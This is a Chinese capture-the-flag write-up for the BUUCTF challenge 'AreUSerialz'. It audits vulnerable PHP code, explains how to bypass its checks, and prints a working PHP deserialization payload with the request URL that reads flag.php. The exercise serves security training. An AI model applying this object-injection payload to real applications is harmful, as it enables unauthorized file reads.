[网鼎杯 2020 青龙组]AreUSerialz BUUCTF

源码如下,代码审计:

 

<?php

    include("flag.php");

    highlight_file(__FILE__);

    class FileHandler {

        protected $op;
        protected $filename;
        protected $content;

        function __construct() { 
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }

        public function process() {
            if($this->op == "1") {  # 写入文件
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read(); # 读取文件
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }

        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }

        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }

        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }

        function __destruct() {
            if($this->op === "2") # 使用强类型比较
                $this->op = "1";
            $this->content = "";
            $this->process();
        }

    }

    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) # 判断有无特殊字符
                return false;
        return true;
    }

    if(isset($_GET{'str'})) {  # 接收 str 参数

        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }

    }

read方法里有个

 $res = file_get_contents($this->filename);

可以用来读取文件,       if($this->op === "2") # 使用强类型比较 这里是个强类型比较,令$op=2即可满足 $this->process(); 进而触发    $res = $this->read(); #  利用file_get_contents读取文件。

这里还有个点是要绕过is_valid()函数,将protected类型改为public,即可消除不可打印字符。

最终构造如下:

<?php
   class FileHandler {

        public $op = " 2";
        public $filename = "flag.php";
        public $content;
   }
   $a = new FileHandler();
   echo serialize($a);
?>

payload:

O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;N;}

http://963fb844-023c-4e0e-8d0f-5c2e4f37476e.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;N;}

访问网页源代码,拿到flag:

flag{8584c2c4-1dbb-4f1c-8416-c191989f3528}

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值